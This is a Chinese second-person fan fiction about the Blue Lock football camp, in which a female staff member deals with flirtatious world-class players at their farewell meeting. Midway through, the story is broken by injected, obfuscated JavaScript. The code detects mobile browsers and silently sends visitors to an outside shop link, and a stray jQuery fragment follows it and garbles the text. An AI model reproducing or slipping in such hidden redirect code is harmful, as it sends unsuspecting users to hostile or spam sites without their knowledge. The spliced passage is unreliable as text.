今天,你起床,将手机上两条向你道早安的消息草草回复,洗澡、吹头发、化了个几乎看不出来的素颜妆,把丝绸睡衣换成蓝色监狱特供的丑丑版工作服。
今天,有个好消息——
世界五强终于要离开了。
蓝色监狱这帮刚刚见识过世界级球星的毛头小子们,又要重新回归到沉寂的训练当中去。
不,说是“沉寂”或许不对,因为按照绘心甚八的计划来看,离真正的U20大战,只剩下不到两周的时间。
真的没问题吗?
你一边这么想着,一边弯下腰将运动鞋换好,推开门。
“Good morning, Lady.”
一束花捧到你面前,是雪白的白玉兰,散发着馥郁温润的香气。在这样一座监狱里,想要搞到新鲜的花可真是不容易。
你伸手,接过卢纳递过来的花束,看到他身后站着的经纪人满头大汗,才冷淡道:
“卢纳先生,你可真是位不折不扣的资本家。”
卢纳居然笑了,十分自得傲气,“别这么说,小姐,你和我比起来可不遑多让。”
他今天特意打扮过了,气质张扬霸道,一身纯黑西装配红底皮鞋,实打实的斯文败类,连金色的柔软发丝都被他用发泥固定在脑后,露出那张带着窒息感的脸。
只是一个送别仪式而已,有必要这么隆重吗?
卢纳轻拍他的领口,抬手,礼仪周到:
“那么,这位美丽的小姐,不知道您今天是否可以与我一同共进晚餐?”
他的胸口缀着一颗色泽金黄的猫眼石,胸脯起伏时那颗圆润的宝石甚至会隐隐散发着异色的光芒。
那颗略显单调的宝石,市价达到了恐怖的340万美元,而这颗漂亮石头的身价再叠个上百倍,可能也赶不上面前这个男人。
“今天我有比赛要到场。”
男人耸耸肩,“比起这种小孩子过家家的游戏,难道你不应该看着我吗?你明知道你没有必要去看那种比赛。”
“这是工作。”
“那就推掉,你太乖巧了,总是向日本人退让,他们会觉得你好欺负,小姐。”
你叹气,“你总要允许别人恪守契约精神。”
男人轻轻俯身,手指轻松扣住你的手腕,他垂眸,在你手背上落下一吻,声音低沉、带着一丝幽怨:
“我订了东京塔展望台的高空餐厅,是个好位置,你知道那地方有多难搞定的,我第一天落地就准备了。珍珠小姐,你不能总是对我凶巴巴的。我想,我们应该搞好关系,不是吗?”
他在威胁你。
这男人的难缠之处就在这里。
你和他讲道理,他和你扯情怀,颗粒度总是对不到一起,他绝对是故意的。
“我要和朱利安说一声——”
他打断你,“小姐,我记得你两年前就成年了,我们都是成年人,已经可以为彼此负责了。”
你盯着他的眼睛,沉默片刻才稍显厌倦地说:
“我可真讨厌你这种态度。”
卢纳微笑:“很荣幸得到你的讨厌。”
他只肖一抬手,吩咐他的经纪人,“查尔斯,记得帮我转告朱利安·洛佩兹小姐,我会对她的宝贝负责。”
“好了,”他张开手臂,胸膛鼓起的弧度异常明显,肩背打直宽阔挺立,“至于这个什么送别仪式,就让我们快点解决吧,我几乎要迫不及待了。”
世界五强要离开了,这一整层再次变得空旷起来。
你注意到了卡瓦索斯睡眼惺忪地揉着眼睛走出房间,脸上的困意几乎要溢出来了,经纪人提着大包小包跟在他身后。
卢纳站在你身旁,挖苦着他:
“那小子昨天晚上肯定又在通宵打游戏,他晚上连跪的尖叫声都传到我房间了,幼稚过头。”
亚当·布雷克悄无声息地跟上来,插入你们之间的对话,“莱昂纳多,你今天结婚?穿得跟只骚/孔雀一样。”
卢纳:“不牢你费心,结婚那天会让你来拉马车的,种马英雄。”
“是吗?你真的会有人要?毕竟你***的很**啊。”
二人之间的对话简单粗暴到没法入耳。
你面无表情地快步走在最前面,迎面撞上刚刚好从房间里走出来的洛基,他是这里面唯一一个没有带经纪人来的球星,也是唯一一个事事亲力亲为的男人。
眼下,他正背着包,脖子上甚至挂着毛巾,一身运动服轻盈而朝气,看起来甚至就像是随便出门晨练的男大学生。
这是当然的。
毕竟他年纪最小,优势拉满了。
他转头,对你露出一个温和的笑容,这份笑意又在看到跟在你身后亦步亦趋的卢纳时,顿然冷却。
在卢纳开口说些不中听的话之前,你率先对洛基点头致意,并主动自然地攀谈:
“要和我们一起去场地吗?洛基先生。”
洛基点头,“当然,打扰了。”
你是抱着死道友不死贫道的想法,但洛基就难说了。
“不打扰,作为前辈,总是要主动包容后辈才行。”卢纳笑眯眯地从你身后探出头来,他的发型利落到了极点,以及那一身一看便是要出席重要场合的穿着,无论如何都无法让人不在意。
洛基也同样。
说实在的,抛开他在球场上的新星头衔,本人也不过是个尚未成年的少年,可没比这个集训营里的选手成熟太多。
他跟在你身后,目光不着痕迹地观察着卢纳和你的对话,再落到你手中的捧花上,很自然地便在其中捕捉到了你们今晚的约定——
卢纳,偷跑。
卡瓦索斯带的东西多,甚至带了一套沉重的PS5主机,已经和工作人员先行下楼。席尔瓦据说正在集训里,被蓝色监狱的选手拉着踢球。
你们一行四人走进电梯,洛基便相当合乎情理地重又提起第一次见面的请求:
“请问,现在应该算是合适的机会了吧?”
他抬起手机,那双黑豹般的金瞳注视着你的表情,说:
“我和绘心先生商量了之后的档期,如果没有意外,之后还可能会再次合作。我希望可以得到你的联络方式,毕竟我们还会有机会再见面,到时候,说不定你会为我应援。”
你答应了。
废话,雪宫剑优和乙夜影汰都联络过了,这几个世界五强总不能不给面子,不然总归有些难听。
而且只是联络方式,谁规定了他们给你发消息你就要回复呢?到时候把消息转给朱利安,她只会夸你做得好。
卢纳站在你身旁,十分顺理成章地将手搭在你的肩膀上,将你的身体拢在他的怀里,面上还认真地用手机键盘抄纂着你的号码。
偏偏脸靠得很近,近到你都能闻到他发泥的淡香,身体像个火炉一样散发热意,让你很不自在。
你错开视线避免和他对视,却正好对上一旁抱臂靠在轿厢里的亚当·布雷克,他歪头看了你一眼,措不及防地抬手,将卢纳那只圈住你肩头的手掌拍开,声音粗哑:
“莱昂纳多,爪子拿远点,妨碍我呼吸了。”
卢纳抬头,不怒反笑,“亚当,你活到这么大真是辛苦了。”
“谢谢。”
“哪里哪里,现在意识到自己的问题也来不及了。”
这两个人,好像天生就很不对付。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537531|203173||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
你转移视线,避免让自己参与到这场毫无目的的争吵中去。而洛基稍微往你的方向靠了靠,把你彻彻底底挡在他的身后,给了你一个稍微安全的小角落。
他转头,脸上没什么表情,语气却很温吞:
“抱歉,这些人倚老卖老让你感到很困扰吧?”
嗯……
真是每个人每句话里都带着刺。
你微笑,“没关系,至少洛基先生让我足够放心。”
“嗯,”洛基点头,“我只是算个正常人而已。”
呵呵,顺杆爬得太快也很让人苦恼呢。
他倒是也不用这样夸奖他自己。
毕竟在赛场上,垃圾话说得一套又一套,又是贬低日本球风懒散、又是嘲讽蓝色监狱选手菜鸡的人,也是他。
在你的煎熬中,你们终于抵达了这次的会场——
一个小小的会议室。
和初次面见世界五强的那个会议室比,说不上哪个更简陋。
绘心甚八坐在里面,推推眼镜,目光诧异地落在卢纳身上,声音嘶哑,“我记得,我好像说过,这就是个签保密协议顺带让你们滚蛋的简单会面而已。”
他发出灵魂拷问:
“卢纳,你是不是自我意识太旺盛了?”
卡瓦索斯早已懒洋洋地趴在桌子上,发出笑声,“噗,绘心,你好一针见血哦,我开始有点喜欢你咯。”
卢纳才不在意这些眼光,他轻轻牵起你的手,优雅地为你拉开座椅,像是已经开始提前排练今晚的“约会”一般。
“有重要的约会,男士不应该提前准备吗?”
他言语中明确的指向性让在场的人都意识到了其中的问题。
你坐下,眼神正好对上绘心甚八略带无语的目光,你耸肩,将那束白玉兰摆在他的手边,活脱脱像是为这个只有黑白调的男人献上一束祭花。
“你要和他私奔?”他问,又更加凑过来,仔细打量着你的眼睛,“而且你眼睛怎么变小了?是因为瞎了吗?”
天呐。
天呐天呐。
听听这说的什么话?
你深呼吸:
“首先,我的眼睛变小了是因为我没戴美瞳;其次,我不会和任何人私奔,绘心先生,希望你还记得,我是这里的正式员工,在没有结束契约之前,我无权永久离开这里。”
“我当然知道,开个玩笑而已。”绘心甚八说。
他的表情可不像是仅仅开个玩笑。
卢纳这时坐下,撑着脸,看向你,语气略带甜蜜,为这凝滞的气氛添了一把火,“只是要和我约会而已,绘心你多虑了。”
绘心甚八瞟了你一眼,毫不留情:
“就是因为和你这种家伙约会,我才会虑。”
卡瓦索斯坐起来,“就是嘛,为什么只和你约会?我申请,我也要!”
“我倒是不用,可以把我的那次和莱昂纳多的抵消吗?”亚当·布雷克伸手提问。
在场所有人的目光朝你看齐。
早知道如此,你就不来了。
好吧。
你将那束白玉兰捧在掌心,轻轻嗅闻了一下,才说道:
“答应卢纳先生的邀约,是因为这是合作事宜。如果各位还有人想和我商榷今后的职业发展,我自然来者不拒。各位先生们,在这种场合盯着女士看太失礼了,我想你们应该有最起码的契约精神才对。那么,让我们现在就开始这场愉快的会谈,好吗?”
你的救世主及时到来。
杏里抱着厚厚的一沓合同直接进入会议室,脸上挂着职业微笑:
“当然,各位,该开始认真工作了。”
谢天谢地。